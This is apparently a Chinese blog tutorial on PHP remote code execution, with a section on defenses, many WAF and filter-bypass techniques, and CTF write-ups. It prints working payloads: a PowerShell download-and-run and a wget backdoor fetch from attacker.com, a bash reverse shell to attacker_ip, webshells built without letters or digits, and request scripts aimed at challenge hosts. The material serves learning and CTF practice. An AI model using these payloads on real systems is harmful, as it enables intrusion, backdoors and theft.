RCE-远程代码执行漏洞

目录

RCE介绍

PHP远程代码执行涉及函数

远程代码执行漏洞常见的payload

远程代码执行漏洞防御方法

RCE的一些Bypass

PHP5和PHP7的区别

1.空格绕过

2.分号绕过

3.敏感字母绕过

4.过滤文件名即目录

5.命令执行函数system()绕过(在URL请求中过滤system()函数)

6.长度绕过

前备知识:

演示:

 7.特殊补充(更新中……)

8.无字母数字rce

1.取反

2.异或

3.自增

4.临时文件

getallheaders()

get_defined_vars()

session_id()

CTF专场(更新中……)

[SWPUCTF 2021 新生赛]easyrce

[SWPUCTF 2021 新生赛]babyrce

[NISACTF 2022]middlerce

[NSSRound#4 SWPU]ez_rce

​编辑

[HNCTF 2022 Week1]Challenge__rce


RCE介绍

远程代码执行(Remote Code Execution,RCE)是一种严重的安全漏洞,允许攻击者在目标服务器或应用程序上执行任意代码。这种漏洞的出现通常源于以下几个方面的缺陷:

  1. 用户输入未经过滤或验证:当服务器端应用程序未能正确验证用户提交的数据,如HTTP请求参数、文件上传内容、数据库查询语句等,攻击者可能会将恶意代码注入到这些输入中。

  2. 代码执行功能的设计缺陷:有些系统或应用提供了执行代码的接口,如PHP的eval函数、Java的反序列化漏洞等,若未做足够的安全防护,攻击者可通过操纵输入使得这些接口执行恶意代码。

  3. 组件漏洞:某些服务器端使用的第三方组件或框架可能存在已知的RCE漏洞,攻击者利用这些漏洞可以直接或间接地在服务器上执行任意命令。

  4. 文件上传漏洞:攻击者上传恶意文件到服务器,然后通过某种方式(如解析漏洞)执行该文件中的恶意代码。

  5. 服务器端请求伪造(SSRF):在某些情况下,攻击者通过SSRF漏洞可以诱使服务器向内部网络发起请求,进而可能触发内部服务的RCE漏洞。

攻击者成功利用RCE漏洞后,可以做的事情包括但不限于:

  • 获取服务器的敏感信息
  • 控制整个服务器系统
  • 将服务器变成僵尸网络的一部分
  • 修改服务器上的数据或配置
  • 执行进一步的网络攻击

PHP远程代码执行涉及函数

PHP远程代码执行(Remote Code Execution,RCE)通常与以下几种函数的不当使用有关:

1.eval()eval() 函数执行一个字符串作为PHP代码。如果传入的字符串来自不受信任的用户输入,攻击者就可能执行任意PHP代码。

$code = $_GET['code'];
eval($code);

2.assert(): 类似于eval()assert()函数也能够执行字符串作为PHP代码,当assert_options(ASSERT_CALLBACK)设置了一个可调用的回调函数时,该函数也可能成为RCE的入口点。

3.反序列化(Deserialization)漏洞

unserialize()函数在反序列化用户提供的数据时,如果数据中含有可触发魔术方法(如__wakeup__destruct等)的对象,可能会导致代码执行。

类似的还有涉及SoapClientyaml_parsejson_decode等解析函数时的反序列化漏洞。

4.文件包含(File Inclusion)漏洞:

includerequireinclude_oncerequire_once等函数在没有正确验证用户输入的情况下,可能包含恶意的PHP文件,从而导致代码执行。

$file = $_GET['page'];
include($file);

5.命令执行

1)exec() #直接使用exec()函数执行命令,无回显。

2)shell_exec() #通过shell环境执行命令,并且将完整的输出以字符串的方式输出

3)(``)反引号 #php将尝试将反引号中的内容作为shell命令来执行,并且将其输出信息返回

4)passthru() #执行外部程序并且显示原始输出

5)system() #执行外部程序,并且显示输出

6)proc_open() #执行一个命令,并且打开来输出/输出的文件指针

7)popen() #调用系统的命令

8)pcntl_exec #pcntl是linux下的一个扩展,需要格外安装,可以支持php的多线程操作

6.模板引擎注入

若PHP项目使用了某些模板引擎,如Smarty、Twig等,且未对模板变量做适当过滤,也可能导致模板注入进而引发RCE。

远程代码执行漏洞常见的payload

命令注入(Command Injection)

;ls /     #bash命令
tac:反向显示
more:一页一页的显示档案内容
less:和more类似
tail:查看末尾几行
nl:显示的时候,顺便输入行号
od:以二进制的方式读取内容
xxd:读取二进制文件
sort:主要用于排序文件
uniq:报告或删除文件中的重复行
file -f:报错具体内容 
grep:在文本中查找指定字符串,如 grep flag fla*  --在fla*文件中查找flag字段

上述命令在某些未过滤的命令执行函数中注入,可以列出服务器根目录下的所有文件。

PHP Shell执行

<?php system('whoami'); ?>   #php

此代码在存在RCE漏洞的PHP环境中执行时,会显示当前执行脚本的用户身份。

Windows命令执行

powershell.exe -command "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://attacker.com/malicious.ps1')"

#powershell

当在支持执行PowerShell命令的环境中注入时,这条命令会下载并执行攻击者服务器上的恶意脚本。

Linux反弹shell

bash -i >& /dev/tcp/attacker_ip/4444 0>&1

#bash

在Linux环境中,当能执行命令时,注入此命令会创建一个反弹shell,允许攻击者通过端口4444远程连接并控制服务器。

PHP代码执行

<?php exec('wget http://attacker.com/backdoor.php -O ./backdoor.php && chmod +x backdoor.php && php backdoor.php') ?>

此代码在存在eval()等可执行PHP代码的漏洞中注入,它将从攻击者网站下载一个后门程序,赋予执行权限,并执行该后门程序。

远程代码执行漏洞防御方法

远程代码执行(Remote Code Execution,RCE)漏洞防御方法可以从以下几个方面入手:

  1. 输入验证与过滤

    • 对所有来自用户输入的数据进行严格的验证和过滤,确保它们符合预期的数据类型和格式。
    • 避免直接使用用户输入拼接SQL查询、命令行参数或包含文件路径。
  2. 最小权限原则

    • 运行应用程序的用户账户应具有最低权限,不应具有执行系统命令或写入关键系统文件的权限。
    • 应用程序的运行环境应尽量隔离,避免一个应用中的漏洞影响到其他应用或系统。
  3. 禁用或安全使用危险函数

    • 禁止使用eval()assert()等可以直接执行代码的函数。
    • 如果必须使用执行系统命令或包含文件的函数(如exec()system()shell_exec()include()require()等),务必确保传递给这些函数的所有参数都经过了严格的验证和转义。
  4. 安全编码实践

    • 使用预编译的SQL查询(如PDO的预处理语句、MySQLi的预处理语句)来防止SQL注入,从而间接预防可能因SQL注入导致的RCE。
    • 在反序列化数据时,确保数据来源可信,对可能触发代码执行的魔术方法(如PHP的__wakeup__destruct等)进行安全处理。
  5. 安全配置

    • 对文件包含操作进行安全配置,比如限制只能包含指定目录下的文件。
    • 对于依赖于外部输入的数据进行序列化和反序列化操作,确保序列化算法的安全性,或者禁用易受攻击的序列化函数。
  6. 更新和打补丁

    • 及时更新服务器和应用程序到最新版本,修复已知的安全漏洞。
    • 对第三方库和框架进行定期安全检查,并应用安全更新。
  7. 输入输出编码

    • 对于需要显示给用户的输出,确保进行合适的HTML实体编码、JavaScript编码或CSS编码等,防止跨站脚本攻击(XSS),从而间接防止XSS攻击可能引导的RCE。
  8. 错误处理与日志记录

    • 错误消息中不要泄露过多的系统信息,避免攻击者通过错误信息得知系统环境和配置。
    • 记录详细的日志,以便在发生安全事件时追踪问题根源。
  9. 防火墙与WAF

    • 在网络层级,可以使用防火墙规则限制非必要的对外通信,以及使用Web应用防火墙(WAF)对可疑请求进行拦截。

RCE的一些Bypass

在bypass之前,我们可以先看一看php的版本,因为版本不同,有部分payload也说不通

PHP5和PHP7的区别

  • PHP5中,assert()是一个函数,我们可以用$_=assert;$_()这样的形式来执行代码。但在PHP7中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。PHP 7.2之后,assert默认不会执行包含副作用的表达式,除非通过assert_options(ASSERT_ACTIVE, 1)激活,并且可能需要设置其他选项来允许执行代码。
  • PHP5中,是不支持($a)()这种调用方法的,但在PHP7中支持这种调用方法,因此支持这么写('phpinfo')()。

1.空格绕过

在bash下可以用$IFS、${IFS}、$IFS$9、%09(在URL上使用较多)、<、<>、{,}、%20(space)、%09(tab)

(备注:此处有$IFS$9,而这里为什么用$9呢,是因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$IFS在Linux下表示分隔符。)

2.分号绕过

在bash下可以用%0a

(声明其中的一个做法{cat,1.txt},这里尖括号的用法是括起来再用逗号,要注意。)

3.敏感字母绕过

1)字母拼接:a=l;b=s;$a$b   --执行ls

2)base64编码:ls的base64编码为bHMK,

格式1`echo bHMK | base64 -d`   --执行ls

格式2:echo 'bHMK' | base64 -d | bash

3)十六进制

echo "6c73" | xxd -r -p|bash 

--执行了ls ,而且十六进制前面的\x不需要加,bash也可以换成sh

4)八进制

$(printf "\154\163")

文本到八进制-将文本字符转换为八进制值-photo333.com

5)字符拼接

单引号 l''s

双引号 l""s

反引号 l``s

反斜线 l\s

6)利用未初始化变量

cat$u 1.txt    (具体用于什么绕过还不知道)

7) 特殊变量绕过

$1到$9,$@,$*等,如cat fla$@g.p$*hp

4.过滤文件名即目录

1)过滤了1.txt 使用通配符* 或者?

linux系统下*匹配0个及以上个字符,?只匹配1个字符

cat 1.*

cat 1.t?t

2) 例如过滤/etc/passwd中的etc,利用未初始化变量,使用$u绕过

cat /etc$u/passwd

5.命令执行函数system()绕过(在URL请求中过滤system()函数)

1)十六进制绕过

?code="\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");        --system("cat /etc/passwd");

2)点括号绕过

?code=(sy.(st).em)(whoami);

3)设定参数绕过

?a=system&b=cat+/etc&c=/passwd&code=$_GET[a]($_GET[b].$_GET[c]);

4) 插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)

php -r "system/*caixukun*/(whoami);"

php -r "system/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"

php -r "(sy./*caixukun*/(st)/*caixukun*/.em)/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"

6.长度绕过

前备知识:

1.linux中>和>> 

1)>写入文件,如果文件存在则覆盖,如果文件不存在则创建文件

echo 'hello world'>2.txt
#先echo(无回显),再写入2.txt

2)>>写入文件,如果文件存在则追加在文件最后面,不存在则创建

2.命令换行(\)

[root@yf ~]# ca\
>t \
>flag\
>.txt

#命令行执行 cat flag.txt

既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下

这是我加单反斜线时可以执行,但是我发现双反斜线时也能执行

原因是:linux 单引号中\无法起转义作用,\\ 也视为一个字面的反斜杠 \

不过当把上述指令中的单引号('')全部换为双引号("")时,就必须使用双反斜线了,因为

双引号中,反斜线(\)允许实现转义功能。

ls -t命令

对当前目录的的文件进行排序,越新的文件越在前面

演示:

 我们使用>创建新文件的特性,依次创建文件cat \1.\txt 三个文件,^c(ctrl+c)其实是一个退出指令(此处可忽略),然后ls -t>a,此处会创建一个a文件,文件内部就是ls -t指令的内容,如cat a所示

此处我们执行a文件,a文件内容就会当做命令执行,上述就是helloworld就是cat 1.txt的内容

推文:https://blog.51cto.com/u_15080020/4328045

但是我们在ctf题中无法进行命令行操作,所以此处要结合python脚本来实现

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
url = "http://xx.xxx.xx.xxx:10001/shell.php?pass=LTLT_666&big_hacker_LTLT={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
    for i in f:
        print("[*]" + url.format(i.strip()))
        requests.get(url.format(i.strip()))

#payload则是上述命令行中填写的内容

 7.特殊补充(更新中……)

此处介绍一个特殊的方法:使用tee执行

?cmd=ls | tee 1.txt

该指令会把管道符(|)前命令返回的结果输出到当前网站新创建的1.txt文件中

8.无字母数字rce

1.取反

<?php 
$a=urlencode(~'phpinfo');
echo $a;
echo '<br/>';
$b="system";
$c= "cat /f*";
echo urlencode(~$b); print("\n"); echo urlencode(~$c);
?>

payload:

?code=(~%8F%97%8F%96%91%99%90)();   #phpinfo()
?code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5); #system('cat /f*');

为什么取反也包含数字字母却能绕过?

因为%的存在,该字符可以被解析为分隔符,使得正则解析到%直接退出了,但是在命令执行的时候,%则不会被解析为分隔符。

为什么进行URL编码?

因为当我们输入的时候,服务器会自动对输入的字符进行解码操作,而且取反操作会产生一些不可见的字符

服务器操作流程:$code=~(urldecode('%8F%97%8F%96%91%99%90'));

2.异或

异或的原理:异或运算符(^)

我们可以对一些特殊的字符,进行异或,从而得到一个我们所需的字符

此处直接上脚本和payload了

valid = "!@$%^*(){}[];\'\",.<>/?-=_`~ "   #此处根据相关的过滤进行修改

answer = str(input("请输入进行异或构造的字符串:"))
tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        print("('{}'"'^'"'{}').".format(i,j))  #payload 1所需
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break

#print("tmp1为:",tmp1)
#print("tmp2为:",tmp2)    #payload 2所需
#此脚本对单个字符进行异或操作,然后我们进行payload拼接

此处有个细节,上述的异或代码,不会转换括号()、下划线()

所以当我们构造payload时,我们要把分步构造字符。

payload 1:

<?php 
$_=('!'^'@').('^'^'-').('^'^'-').('@'^'%').('^'^',').('^'^'*');   //assert
$__=('{'^'_').('!'^'~').('}'^'-').('/'^'`').('('^'{').('*'^'~').('%'^'~').('!'^'~').('}'^' ');  //$_POST[_]
$_($__);    //assert($_POST[_]);
?> 

payload 2:(有必要时对双引号中字符进行url编码,此处可以把后面双斜杠后面去掉就可以使用了)

<?php
$_ = "!((%)("^"@[[@[\\";   //构造出assert
$__ = "!+/(("^"~{`{|";   //构造出_POST
$___ = $$__;   //$___ = $_POST
$_($___[_]);   //assert($_POST[_]);

3.自增

<?php
     $_++;
$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字 
"A"++ ==> "B"
"B"++ ==> "C"

也就是说,如果我们能够得到"A",那么我们就能通过自增自减,得到所有的字母。 那么问题就转化为怎么得到一个字符"A"。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。

<?php
$a = ''.[];
var_dump($a);

$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字

<?php
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])


$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
//eval($_POST[_])

4.临时文件

有时网站会把我们上传的文件存放在tmp目录下,形式为/tmp/phpxxxxxx

关于. 的命令执行,当.与文件名搭配时,会执行该文件中的命令(前提:该文件有执行(x)权限)。

例如,./1.txt 表示在当前目录下执行名为 1.txt 的shell脚本。

当发现权限不够时,则执行指令:

chmod +x 1.txt
./1.txt

 5.使用相关函数嵌套绕过

思路来自[鹏城杯 2022]简单的php

 也就是说只能传入函数(),但是()里面能有参数,要是有参数的话最终的返回值不是;就不能进行匹配。例如传入A(B(C()));返回的是;,要是A(B(C(‘ls’)));返回的就不是;,也就不能进行匹配。

先看看函数吧

getallheaders()

getallheaders()返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串。正好implode()这个函数就能胜任。(必需是apache环境)

implode()能够直接将getallheaders()返回的数组转化为字符串。

<?php
implode(getallheaders());
?>
payload:
system(current(getallheaders()));

取反:[!%FF]是拼接二维数组的分隔符
[~%8c%86%8c%8b%9a%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
get_defined_vars()

相较于上面getallheaders()函数,get_defined_vars()就没有环境限制,get_defined_vars()该函数的作用是获取所有的已定义变量,返回值也是数组。不过这个函数返回的是一个二维数组,所以不能与implode结合起来用。将get_defined_vars()的结果用var_dump()输出结果

<?php
	var_dump(get_defined_vars());
?>

payload:

system(current(get_defined_vars()));
session_id()

session_id()函数是获取cookie中phpsessionid

具体使用:

session_id必须要开启session才可以使用,所以我们要先使用session_start。

又因为文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - (减号)

所以我们可以使用 Hex十六进制编码。

payload:

?exp=eval(hex2bin(session_id()));
?exp=eval(hex2bin(session_id(session_start())));
同时不是才说道session_id()可以获取cookie中的phpsessionid,并且这个值我们是可控的吗?
所以我们可以在http头中设置PHPSESSID为想要执行代码的16进制:
hex("phpinfo();")=706870696e666f28293b


当hex被禁用了
?exp=show_source(session_id(session_start()));
修改Cookie: PHPSESSID=flag.php

 其他函数

implode() 将一维数组转化为字符串
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。

其他payalod

?exp=print_r(scandir(current(localeconv())));

参考文章:

https://www.cnblogs.com/0xo0Kerk/p/17236536.html

 https://blog.csdn.net/Manuffer/article/details/120738755

CTF专场(更新中……)

[SWPUCTF 2021 新生赛]easyrce

ls 查看当前目录有什么文件,index.php没有flag及其hint

ls / 查看根目录

发现flllllaaaaaaggggggg,查看该文件    cat /flllllaaaaaaggggggg

出flag!

[SWPUCTF 2021 新生赛]babyrce

该处判断cookie,抓包修改cookie即可

 发现此处只需绕过空格即可实现rce

参考上述bypass

得到flag

[NISACTF 2022]middlerce

 REQUEST传参:GET传参或者POST传参都可

正则:[\w] 过滤了所有数字字母及其下划线,^ 异或,~ 取反,空格,|

同时,json_decode可得,该参数是json格式

此处看看json的基本格式

{
  "key1": "value1",
  "key2": "value2",
  "key3": true,
  "key4": 123,
  "key5": null,
  "key6": {
    "nestedKey": "nestedValue"
  },
  "key7": [1, 2, 3]
}

但是此处还过滤了{符号,同时.*贪婪匹配后又匹配括号里的字符,最后再.*后结束。最后还有一个黑盒检查函数。

此处引入一个新的知识点PCRE回溯次数限制绕过

在Perl Compatible Regular Expressions (PCRE) 中,为了防止正则表达式引擎因处理过于复杂的匹配场景而导致无限循环或其他性能问题,存在一个回溯次数限制。超过这个限制后,匹配操作将会失败并抛出错误。pcre.backtrack_limit默认1000000,超过1000000不会返回1或0而是false即超过限制即可。

因为get传参的大小限制,我们此处就使用post传参,此处我们使用python脚本,因为我们无法手动输入超过10000000个字符吧

import requests

payload = '{"cmd":"cmd", "a":"' + '#' * 1000000 + '"}'
res = requests.post("http://node4.anna.nssctf.cn:28309/", data={"letter": payload})
print(res.text)

如上所述,抛出了报错。

可见,没有返回“再加把油喔”,说明成功绕过正则

fuzz一下,可得黑盒checkdata()函数过滤如下

/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i

常用的函数都被仅用了,但是可以使用短标签+``反引号进行命令执行

PHP中的短标签

PHP中有两种短标签,<??>和<?=?>。其中,<??>相当于对<?php>的替换。而<?=?>则是相当于<? echo>。例如:

<?= '111'?>

将会输出'111' 大部分文章说短标签需要在php.ini中设置short_open_tag为on才能开启短标签(默认是开启的,但似乎又默认注释,所以还是等于没开启)。但实际上在PHP5.4以后,无论short_open_tag是否开启,<?=?>这种写法总是适用的,<??>这种写法则需要short_open_tag开启才行。

payload:最前面?>用于闭合,payload后面一部分相当于echo+反引号执行命令。

?><?= `nl /f*`?>

 即可出flag!

[NSSRound#4 SWPU]ez_rce

根据标签:CVE-2021-41773,查看相关漏洞

漏洞利用

 再次访问原题并抓包,修改数据如上,最后一行以echo;命令进行命令执行

 

 没有内容,在看看根目录下其他目录,最后在/run.sh找到flag路径

[HNCTF 2022 Week1]Challenge__rce

看源码,首先是存在长度限制,正则过滤 ,~取反, ^异或,|也被过滤了,只好自增了

因为长度限制,之前的自增代码肯定不能用了,如下习得下述简短自增

$_=[]._;$__=$_[1];$_=$_[0];$_++;$_0=++$_;$_++;$_++;$_++;$_++;$_=$_0.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

//具体就是get传参1和2
?1=system&2=cat /f*

不过要url编码一下
$_%3d[]._%3b$__%3d$_[1]%3b$_%3d$_[0]%3b$_%2b%2b%3b$_0%3d%2b%2b$_%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%3d$_0.%2b%2b$_.$__%3b$_%3d_.$_(71).$_(69).$_(84)%3b$$_[1]($$_[2])%3b

当然为了防止更短的长度限制,此处绕过<73。

url编码后:
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);

//post再传参 _=system&%ff=cat /f*

  • 31
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值